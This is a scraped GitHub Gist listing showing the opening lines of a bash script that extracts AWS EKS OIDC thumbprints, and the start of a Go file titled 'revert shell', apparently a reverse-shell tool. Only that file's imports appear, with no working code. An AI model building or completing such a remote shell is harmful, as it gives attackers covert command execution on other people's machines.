Skip to content

Instantly share code, notes, and snippets.

@riccardomc
riccardomc / oidc-thumbprint-regions.sh
Created November 28, 2019 11:19
Extract OIDC provider thumbprint for all AWS Region with EKS support
#!/bin/bash
set -e
if [ ! -z "$DEBUG" ] ; then
set -x
fi
REGIONS="us-east-2
us-east-1
@liuyangc3
liuyangc3 / main.go
Last active November 7, 2023 02:21
revert shell
package main
import (
"fmt"
"log"
"net/http"
"os/exec"
"strings"
)